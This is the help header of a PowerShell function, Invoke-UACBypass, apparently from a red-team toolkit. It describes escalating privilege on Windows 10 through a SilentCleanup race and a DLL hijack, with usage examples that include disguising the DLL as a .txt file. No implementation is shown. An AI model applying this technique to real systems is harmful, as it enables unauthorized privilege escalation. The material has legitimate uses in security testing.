function Invoke-UACBypass {
<#
.SYNOPSIS
Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.
Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER DllPath
Specifies the path to the DLL you want executed in a high integrity context. Be mindful of the architecture of the DLL. It must match that of %SystemRoot%\System32\Dism\LogProvider.dll.
.EXAMPLE
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\Win10UACBypass\PrivescTest.dll
.EXAMPLE
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\TotallyLegit.txt -Verbose
The DllPath can have any extension as long as the file itself is a DLL.
